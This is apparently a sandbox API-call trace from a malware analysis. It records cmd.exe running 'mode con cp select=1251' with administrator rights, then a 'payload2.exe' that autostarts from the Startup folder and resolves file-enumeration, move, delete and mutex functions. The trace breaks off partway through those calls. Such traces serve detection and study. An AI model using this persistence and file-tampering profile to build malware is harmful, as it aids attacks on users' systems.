	[0072.694] malloc (_Size=0xffce) returned 0x1f743290820
	[0072.695] ??_V@YAXPEAX@Z () returned 0x1f743290820
	[0072.695] _wcsicmp (_String1="mode", _String2="DIR") returned 9
	[0072.696] _wcsicmp (_String1="mode", _String2="ERASE") returned 8
	[0072.696] _wcsicmp (_String1="mode", _String2="DEL") returned 9
	[0072.696] _wcsicmp (_String1="mode", _String2="TYPE") returned -7
	[0072.696] _wcsicmp (_String1="mode", _String2="COPY") returned 10
	[0072.696] _wcsicmp (_String1="mode", _String2="CD") returned 10
	[0072.696] _wcsicmp (_String1="mode", _String2="CHDIR") returned 10
	[0072.696] _wcsicmp (_String1="mode", _String2="RENAME") returned -5
	[0072.696] _wcsicmp (_String1="mode", _String2="REN") returned -5
	[0072.696] _wcsicmp (_String1="mode", _String2="ECHO") returned 8
	[0072.696] _wcsicmp (_String1="mode", _String2="SET") returned -6
	[0072.696] _wcsicmp (_String1="mode", _String2="PAUSE") returned -3
	[0072.696] _wcsicmp (_String1="mode", _String2="DATE") returned 9
	[0072.696] _wcsicmp (_String1="mode", _String2="TIME") returned -7
	[0072.696] _wcsicmp (_String1="mode", _String2="PROMPT") returned -3
	[0072.696] _wcsicmp (_String1="mode", _String2="MD") returned 11
	[0072.696] _wcsicmp (_String1="mode", _String2="MKDIR") returned 4
	[0072.696] _wcsicmp (_String1="mode", _String2="RD") returned -5
	[0072.696] _wcsicmp (_String1="mode", _String2="RMDIR") returned -5
	[0072.696] _wcsicmp (_String1="mode", _String2="PATH") returned -3
	[0072.696] _wcsicmp (_String1="mode", _String2="GOTO") returned 6
	[0072.696] _wcsicmp (_String1="mode", _String2="SHIFT") returned -6
	[0072.696] _wcsicmp (_String1="mode", _String2="CLS") returned 10
	[0072.696] _wcsicmp (_String1="mode", _String2="CALL") returned 10
	[0072.696] _wcsicmp (_String1="mode", _String2="VERIFY") returned -9
	[0072.696] _wcsicmp (_String1="mode", _String2="VER") returned -9
	[0072.696] _wcsicmp (_String1="mode", _String2="VOL") returned -9
	[0072.696] _wcsicmp (_String1="mode", _String2="EXIT") returned 8
	[0072.696] _wcsicmp (_String1="mode", _String2="SETLOCAL") returned -6
	[0072.696] _wcsicmp (_String1="mode", _String2="ENDLOCAL") returned 8
	[0072.696] _wcsicmp (_String1="mode", _String2="TITLE") returned -7
	[0072.696] _wcsicmp (_String1="mode", _String2="START") returned -6
	[0072.696] _wcsicmp (_String1="mode", _String2="DPATH") returned 9
	[0072.696] _wcsicmp (_String1="mode", _String2="KEYS") returned 2
	[0072.696] _wcsicmp (_String1="mode", _String2="MOVE") returned -18
	[0072.697] _wcsicmp (_String1="mode", _String2="PUSHD") returned -3
	[0072.697] _wcsicmp (_String1="mode", _String2="POPD") returned -3
	[0072.697] _wcsicmp (_String1="mode", _String2="ASSOC") returned 12
	[0072.697] _wcsicmp (_String1="mode", _String2="FTYPE") returned 7
	[0072.697] _wcsicmp (_String1="mode", _String2="BREAK") returned 11
	[0072.697] _wcsicmp (_String1="mode", _String2="COLOR") returned 10
	[0072.697] _wcsicmp (_String1="mode", _String2="MKLINK") returned 4
	[0072.697] _wcsicmp (_String1="mode", _String2="DIR") returned 9
	[0072.697] _wcsicmp (_String1="mode", _String2="ERASE") returned 8
	[0072.697] _wcsicmp (_String1="mode", _String2="DEL") returned 9
	[0072.697] _wcsicmp (_String1="mode", _String2="TYPE") returned -7
	[0072.697] _wcsicmp (_String1="mode", _String2="COPY") returned 10
	[0072.697] _wcsicmp (_String1="mode", _String2="CD") returned 10
	[0072.697] _wcsicmp (_String1="mode", _String2="CHDIR") returned 10
	[0072.697] _wcsicmp (_String1="mode", _String2="RENAME") returned -5
	[0072.697] _wcsicmp (_String1="mode", _String2="REN") returned -5
	[0072.697] _wcsicmp (_String1="mode", _String2="ECHO") returned 8
	[0072.697] _wcsicmp (_String1="mode", _String2="SET") returned -6
	[0072.697] _wcsicmp (_String1="mode", _String2="PAUSE") returned -3
	[0072.697] _wcsicmp (_String1="mode", _String2="DATE") returned 9
	[0072.697] _wcsicmp (_String1="mode", _String2="TIME") returned -7
	[0072.697] _wcsicmp (_String1="mode", _String2="PROMPT") returned -3
	[0072.697] _wcsicmp (_String1="mode", _String2="MD") returned 11
	[0072.698] _wcsicmp (_String1="mode", _String2="MKDIR") returned 4
	[0072.698] _wcsicmp (_String1="mode", _String2="RD") returned -5
	[0072.698] _wcsicmp (_String1="mode", _String2="RMDIR") returned -5
	[0072.698] _wcsicmp (_String1="mode", _String2="PATH") returned -3
	[0072.698] _wcsicmp (_String1="mode", _String2="GOTO") returned 6
	[0072.698] _wcsicmp (_String1="mode", _String2="SHIFT") returned -6
	[0072.698] _wcsicmp (_String1="mode", _String2="CLS") returned 10
	[0072.698] _wcsicmp (_String1="mode", _String2="CALL") returned 10
	[0072.698] _wcsicmp (_String1="mode", _String2="VERIFY") returned -9
	[0072.698] _wcsicmp (_String1="mode", _String2="VER") returned -9
	[0072.698] _wcsicmp (_String1="mode", _String2="VOL") returned -9
	[0072.698] _wcsicmp (_String1="mode", _String2="EXIT") returned 8
	[0072.698] _wcsicmp (_String1="mode", _String2="SETLOCAL") returned -6
	[0072.698] _wcsicmp (_String1="mode", _String2="ENDLOCAL") returned 8
	[0072.698] _wcsicmp (_String1="mode", _String2="TITLE") returned -7
	[0072.698] _wcsicmp (_String1="mode", _String2="START") returned -6
	[0072.698] _wcsicmp (_String1="mode", _String2="DPATH") returned 9
	[0072.698] _wcsicmp (_String1="mode", _String2="KEYS") returned 2
	[0072.698] _wcsicmp (_String1="mode", _String2="MOVE") returned -18
	[0072.698] _wcsicmp (_String1="mode", _String2="PUSHD") returned -3
	[0072.698] _wcsicmp (_String1="mode", _String2="POPD") returned -3
	[0072.698] _wcsicmp (_String1="mode", _String2="ASSOC") returned 12
	[0072.698] _wcsicmp (_String1="mode", _String2="FTYPE") returned 7
	[0072.698] _wcsicmp (_String1="mode", _String2="BREAK") returned 11
	[0072.698] _wcsicmp (_String1="mode", _String2="COLOR") returned 10
	[0072.698] _wcsicmp (_String1="mode", _String2="MKLINK") returned 4
	[0072.698] _wcsicmp (_String1="mode", _String2="FOR") returned 7
	[0072.698] _wcsicmp (_String1="mode", _String2="IF") returned 4
	[0072.698] _wcsicmp (_String1="mode", _String2="REM") returned -5
	[0072.698] ??_V@YAXPEAX@Z () returned 0x1
	[0072.699] GetProcessHeap () returned 0x1f743160000
	[0072.699] RtlAllocateHeap (HeapHandle=0x1f743160000, Flags=0x8, Size=0xffde) returned 0x1f743168fe0
	[0072.699] GetProcessHeap () returned 0x1f743160000
	[0072.699] RtlAllocateHeap (HeapHandle=0x1f743160000, Flags=0x8, Size=0x42) returned 0x1f7431683e0
	[0072.700] _wcsnicmp (_String1="mode", _String2="cmd ", _MaxCount=0x4) returned 10
	[0072.700] malloc (_Size=0xffce) returned 0x1f743290820
	[0072.700] ??_V@YAXPEAX@Z () returned 0x1f743290820
	[0072.700] GetProcessHeap () returned 0x1f743160000
	[0072.700] RtlAllocateHeap (HeapHandle=0x1f743160000, Flags=0x8, Size=0x1ffac) returned 0x1f743178fd0
	[0072.702] SetErrorMode (uMode=0x0) returned 0x0
	[0072.702] SetErrorMode (uMode=0x1) returned 0x0
	[0072.702] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x1f743178fe0, lpFilePart=0x2786aff180 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0x2786aff180*="Desktop") returned 0x17
	[0072.702] SetErrorMode (uMode=0x0) returned 0x1
	[0072.702] GetProcessHeap () returned 0x1f743160000
	[0072.702] RtlReAllocateHeap (Heap=0x1f743160000, Flags=0x0, Ptr=0x1f743178fd0, Size=0x4a) returned 0x1f743178fd0
	[0072.702] GetProcessHeap () returned 0x1f743160000
	[0072.702] RtlSizeHeap (HeapHandle=0x1f743160000, Flags=0x0, MemoryPointer=0x1f743178fd0) returned 0x4a
	[0072.702] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff682fcbb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb
	[0072.702] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1
	[0072.702] GetProcessHeap () returned 0x1f743160000
	[0072.702] RtlAllocateHeap (HeapHandle=0x1f743160000, Flags=0x8, Size=0x1bc) returned 0x1f743166c30
	[0072.702] GetProcessHeap () returned 0x1f743160000
	[0072.702] RtlAllocateHeap (HeapHandle=0x1f743160000, Flags=0x8, Size=0x368) returned 0x1f743179030
	[0072.711] GetProcessHeap () returned 0x1f743160000
	[0072.711] RtlReAllocateHeap (Heap=0x1f743160000, Flags=0x0, Ptr=0x1f743179030, Size=0x1be) returned 0x1f743179030
	[0072.711] GetProcessHeap () returned 0x1f743160000
	[0072.711] RtlSizeHeap (HeapHandle=0x1f743160000, Flags=0x0, MemoryPointer=0x1f743179030) returned 0x1be
	[0072.711] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff682fcbb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0072.711] GetProcessHeap () returned 0x1f743160000
	[0072.711] RtlAllocateHeap (HeapHandle=0x1f743160000, Flags=0x8, Size=0xe8) returned 0x1f743166e00
	[0072.713] GetProcessHeap () returned 0x1f743160000
	[0072.713] RtlReAllocateHeap (Heap=0x1f743160000, Flags=0x0, Ptr=0x1f743166e00, Size=0x7e) returned 0x1f743166e00
	[0072.713] GetProcessHeap () returned 0x1f743160000
	[0072.713] RtlSizeHeap (HeapHandle=0x1f743160000, Flags=0x0, MemoryPointer=0x1f743166e00) returned 0x7e
	[0072.714] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0072.714] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\mode.*", fInfoLevelId=0x1, lpFindFileData=0x2786afeef0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2786afeef0) returned 0xffffffffffffffff
	[0072.714] GetLastError () returned 0x2
	[0072.714] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0072.714] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\mode.*", fInfoLevelId=0x1, lpFindFileData=0x2786afeef0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2786afeef0) returned 0xffffffffffffffff
	[0072.717] GetLastError () returned 0x2
	[0072.717] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0072.718] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\mode.*", fInfoLevelId=0x1, lpFindFileData=0x2786afeef0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2786afeef0) returned 0x1f743166e90
	[0072.718] GetProcessHeap () returned 0x1f743160000
	[0072.718] RtlAllocateHeap (HeapHandle=0x1f743160000, Flags=0x0, Size=0x28) returned 0x1f743161890
	[0072.718] FindClose (in: hFindFile=0x1f743166e90 | out: hFindFile=0x1f743166e90) returned 1
	[0072.718] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\mode.COM", fInfoLevelId=0x1, lpFindFileData=0x2786afeef0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2786afeef0) returned 0x1f743166e90
	[0072.718] GetProcessHeap () returned 0x1f743160000
	[0072.718] RtlReAllocateHeap (Heap=0x1f743160000, Flags=0x0, Ptr=0x1f743161890, Size=0x8) returned 0x1f743161890
	[0072.718] FindClose (in: hFindFile=0x1f743166e90 | out: hFindFile=0x1f743166e90) returned 1
	[0072.718] _wcsicmp (_String1=".COM", _String2=".BAT") returned 1
	[0072.718] _wcsicmp (_String1=".COM", _String2=".CMD") returned 2
	[0072.718] ??_V@YAXPEAX@Z () returned 0x1
	[0072.718] GetConsoleTitleW (in: lpConsoleTitle=0x2786aff470, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b
	[0073.290] GetProcessHeap () returned 0x1f743160000
	[0073.290] RtlAllocateHeap (HeapHandle=0x1f743160000, Flags=0x8, Size=0x21c) returned 0x1f743179200
	[0073.290] GetConsoleTitleW (in: lpConsoleTitle=0x1f743179210, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b
	[0073.811] GetProcessHeap () returned 0x1f743160000
	[0073.811] RtlReAllocateHeap (Heap=0x1f743160000, Flags=0x0, Ptr=0x1f743179200, Size=0xaa) returned 0x1f743179200
	[0073.811] GetProcessHeap () returned 0x1f743160000
	[0073.811] RtlSizeHeap (HeapHandle=0x1f743160000, Flags=0x0, MemoryPointer=0x1f743179200) returned 0xaa
	[0073.811] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe - mode  con cp select=1251") returned 1
	[0074.183] GetProcessHeap () returned 0x1f743160000
	[0074.183] RtlFreeHeap (HeapHandle=0x1f743160000, Flags=0x0, BaseAddress=0x1f743179200) returned 1
	[0074.183] InitializeProcThreadAttributeList (in: lpAttributeList=0x2786aff390, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x2786aff280 | out: lpAttributeList=0x2786aff390, lpSize=0x2786aff280) returned 1
	[0074.183] UpdateProcThreadAttribute (in: lpAttributeList=0x2786aff390, dwFlags=0x0, Attribute=0x60001, lpValue=0x2786aff26c, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x2786aff390, lpPreviousValue=0x0) returned 1
	[0074.183] GetStartupInfoW (in: lpStartupInfo=0x2786aff320 | out: lpStartupInfo=0x2786aff320*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\WINDOWS\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x248, hStdOutput=0x254, hStdError=0x254)) 
	[0074.183] GetProcessHeap () returned 0x1f743160000
	[0074.183] RtlAllocateHeap (HeapHandle=0x1f743160000, Flags=0x8, Size=0x20) returned 0x1f743166e90
	[0074.183] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38
	[0074.183] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2
	[0074.183] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2
	[0074.183] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0074.183] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0074.183] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0074.183] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3
	[0074.183] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3
	[0074.184] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5
	[0074.184] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5
	[0074.184] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9
	[0074.184] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9
	[0074.184] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11
	[0074.184] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12
	[0074.184] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12
	[0074.184] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13
	[0074.184] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13
	[0074.184] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0074.184] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0074.184] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0074.184] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0074.184] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0074.184] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0074.184] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0074.184] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0074.184] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13
	[0074.184] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13
	[0074.184] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13
	[0074.184] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16
	[0074.184] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16
	[0074.184] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17
	[0074.184] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17
	[0074.184] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18
	[0074.184] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18
	[0074.184] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18
	[0074.184] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18
	[0074.184] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20
	[0074.184] GetProcessHeap () returned 0x1f743160000
	[0074.184] RtlFreeHeap (HeapHandle=0x1f743160000, Flags=0x0, BaseAddress=0x1f743166e90) returned 1
	[0074.184] GetProcessHeap () returned 0x1f743160000
	[0074.184] RtlAllocateHeap (HeapHandle=0x1f743160000, Flags=0x8, Size=0x12) returned 0x1f743166e90
	[0074.184] _get_osfhandle (_FileHandle=1) returned 0x254
	[0074.184] SetConsoleMode (hConsoleHandle=0x254, dwMode=0x0) returned 0
	[0074.184] _get_osfhandle (_FileHandle=0) returned 0x248
	[0074.184] SetConsoleMode (hConsoleHandle=0x248, dwMode=0x0) returned 0
	[0074.185] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\mode.com", lpCommandLine="mode  con cp select=1251", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\FD1HVy\\Desktop", lpStartupInfo=0x2786aff2b0*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="mode  con cp select=1251", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x2786aff288 | out: lpCommandLine="mode  con cp select=1251", lpProcessInformation=0x2786aff288*(hProcess=0x98, hThread=0x94, dwProcessId=0xe98, dwThreadId=0x42c)) returned 1
	[0074.964] CloseHandle (hObject=0x94) returned 1
	[0074.964] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1
	[0074.964] GetProcessHeap () returned 0x1f743160000
	[0074.964] RtlFreeHeap (HeapHandle=0x1f743160000, Flags=0x0, BaseAddress=0x1f743168500) returned 1
	[0074.964] GetEnvironmentStringsW () returned 0x1f7431684c0*
	[0074.964] GetProcessHeap () returned 0x1f743160000
	[0074.964] RtlAllocateHeap (HeapHandle=0x1f743160000, Flags=0x8, Size=0xacc) returned 0x1f743179520
	[0074.964] FreeEnvironmentStringsA (penv="=") returned 1
	[0074.965] LoadLibraryExW (lpLibFileName="NTDLL.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ff931f40000
	[0074.965] GetProcAddress (hModule=0x7ff931f40000, lpProcName="NtQueryInformationProcess") returned 0x7ff931fe56b0
	[0074.965] NtQueryInformationProcess (in: ProcessHandle=0x98, ProcessInformationClass=0x0, ProcessInformation=0x2786afe788, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2786afe788, ReturnLength=0x0) returned 0x0
	[0074.965] ReadProcessMemory (in: hProcess=0x98, lpBaseAddress=0xe9cfff7000, lpBuffer=0x2786afe7c0, nSize=0x7a0, lpNumberOfBytesRead=0x2786afe780 | out: lpBuffer=0x2786afe7c0*, lpNumberOfBytesRead=0x2786afe780*=0x7a0) returned 1
	[0074.966] WaitForSingleObject (hHandle=0x98, dwMilliseconds=0xffffffff) 

Thread:
	id = 24
	os_tid = 0xd24


Process:
	id = "3"
	image_name = "conhost.exe"
	filename = "c:\\windows\\system32\\conhost.exe"
	page_root = "0x6fdb000"
	os_pid = "0xe60"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "2"
	os_parent_pid = "0x5f8"
	cmd_line = "\\??\\C:\\WINDOWS\\system32\\conhost.exe 0xffffffff -ForceV1"
	cur_dir = "C:\\WINDOWS"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "64"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 9
	os_tid = 0x720


Thread:
	id = 10
	os_tid = 0xe64


Thread:
	id = 21
	os_tid = 0xf18


Thread:
	id = 22
	os_tid = 0xa9c


Thread:
	id = 23
	os_tid = 0xcdc


Process:
	id = "4"
	image_name = "mode.com"
	filename = "c:\\windows\\system32\\mode.com"
	page_root = "0xe930000"
	os_pid = "0xe98"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "2"
	os_parent_pid = "0x5f8"
	cmd_line = "mode  con cp select=1251"
	cur_dir = "C:\\Users\\FD1HVy\\Desktop\\"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "64"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 25
	os_tid = 0x42c


Thread:
	id = 26
	os_tid = 0x48c


Process:
	id = "5"
	image_name = "payload2.exe"
	filename = "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\payload2.exe"
	page_root = "0x629b9000"
	os_pid = "0xd70"
	os_integrity_level = "0x2000"
	os_privileges = "0x40800000"
	monitor_reason = "autostart"
	parent_id = "0"
	os_parent_pid = "0x0"
	cmd_line = "\"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload2.exe\" "
	cur_dir = "C:\\WINDOWS\\system32\\"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "32"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00011008" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 29
	os_tid = 0xd74

	[0160.534] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x746a0000
	[0160.534] GetProcAddress (hModule=0x746a0000, lpProcName="GetProcAddress") returned 0x746b51b0
	[0160.534] GetProcAddress (hModule=0x746a0000, lpProcName="GetModuleHandleW") returned 0x746b50d0
	[0160.534] GetProcAddress (hModule=0x746a0000, lpProcName="FindNextFileW") returned 0x7470ee40
	[0160.534] GetProcAddress (hModule=0x746a0000, lpProcName="FindClose") returned 0x7470ed70
	[0160.534] GetProcAddress (hModule=0x746a0000, lpProcName="MoveFileW") returned 0x746ee500
	[0160.534] GetProcAddress (hModule=0x746a0000, lpProcName="GetFileSizeEx") returned 0x7470ef40
	[0160.534] GetProcAddress (hModule=0x746a0000, lpProcName="GetModuleFileNameW") returned 0x746b5090
	[0160.534] GetProcAddress (hModule=0x746a0000, lpProcName="GetFileAttributesW") returned 0x7470ef10
	[0160.534] GetProcAddress (hModule=0x746a0000, lpProcName="ExitProcess") returned 0x746b3cb0
	[0160.534] GetProcAddress (hModule=0x746a0000, lpProcName="GetCommandLineW") returned 0x746b4cc0
	[0160.534] GetProcAddress (hModule=0x746a0000, lpProcName="GetComputerNameW") returned 0x746e32c0
	[0160.534] GetProcAddress (hModule=0x746a0000, lpProcName="GetComputerNameA") returned 0x746e3780
	[0160.534] GetProcAddress (hModule=0x746a0000, lpProcName="CreateMutexW") returned 0x7470eb70
	[0160.534] GetProcAddress (hModule=0x746a0000, lpProcName="lstrlenW") returned 0x746b6c70
	[0160.534] GetProcAddress (hModule=0x746a0000, lpProcName="lstrlenA") returned 0x746b6c50
	[0160.535] GetProcAddress (hModule=0x746a0000, lpProcName="GetCurrentProcess") returned 0x7470ea10
	[0160.535] GetProcAddress (hModule=0x746a0000, lpProcName="WaitForSingleObject") returned 0x7470eca0
	[0160.535] GetProcAddress (hModule=0x746a0000, lpProcName="GetLogicalDrives") returned 0x746b0d20
	[0160.535] GetProcAddress (hModule=0x746a0000, lpProcName="GetTickCount") returned 0x7470dd50
	[0160.535] GetProcAddress (hModule=0x746a0000, lpProcName="DeleteFileW") returned 0x7470ed40
	[0160.535] GetProcAddress (hModule=0x746a0000, lpProcName="WideCharToMultiByte") returned 0x746b6b10
	[0160.535] GetProcAddress (hModule=0x746a0000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x7470ebb0
	[0160.535] GetProcAddress (hModule=0x746a0000, lpProcName="Sleep") returned 0x746b6760
	[0160.535] GetProcAddress (hModule=0x746a0000, lpProcName="LeaveCriticalSection") returned 0x77a8b250
	[0160.535] GetProcAddress (hModule=0x746a0000, lpProcName="ReadFile") returned 0x7470f090
	[0160.535] GetProcAddress (hModule=0x746a0000, lpProcName="CreateFileW") returned 0x7470ed10
	[0160.535] GetProcAddress (hModule=0x746a0000, lpProcName="OpenMutexW") returned 0x7470ebf0
	[0160.535] GetProcAddress (hModule=0x746a0000, lpProcName="EnterCriticalSection") returned 0x77a8b2d0
	[0160.535] GetProcAddress (hModule=0x746a0000, lpProcName="WaitForMultipleObjects") returned 0x7470ec80
	[0160.535] GetProcAddress (hModule=0x746a0000, lpProcName="lstrcmpiW") returned 0x746b6bf0
	[0160.535] GetProcAddress (hModule=0x746a0000, lpProcName="lstrcmpiA") returned 0x746b6bd0
	[0160.535] GetProcAddress (hModule=0x746a0000, lpProcName="DeleteCriticalSection") returned 0x77a6fb90
	[0160.535] GetProcAddress (hModule=0x746a0000, lpProcName="ReleaseMutex") returned 0x7470ec20
	[0160.535] GetProcAddress (hModule=0x746a0000, lpProcName="CloseHandle") returned 0x7470eab0
	[0160.536] GetProcAddress (hModule=0x746a0000, lpProcName="GetVersion") returned 0x746b56c0
	[0160.536] GetProcAddress (hModule=0x746a0000, lpProcName="CreateThread") returned 0x746b46b0
	[0160.536] GetProcAddress (hModule=0x746a0000, lpProcName="ExpandEnvironmentStringsW") returned 0x746b4a40
	[0160.536] GetProcAddress (hModule=0x746a0000, lpProcName="QueryPerformanceCounter") returned 0x746b5da0
	[0160.536] GetProcAddress (hModule=0x746a0000, lpProcName="QueryPerformanceFrequency") returned 0x746b5dc0
	[0160.536] GetProcAddress (hModule=0x746a0000, lpProcName="GetCurrentProcessId") returned 0x7470ea20
	[0160.536] GetProcAddress (hModule=0x746a0000, lpProcName="SetFileAttributesW") returned 0x7470f100
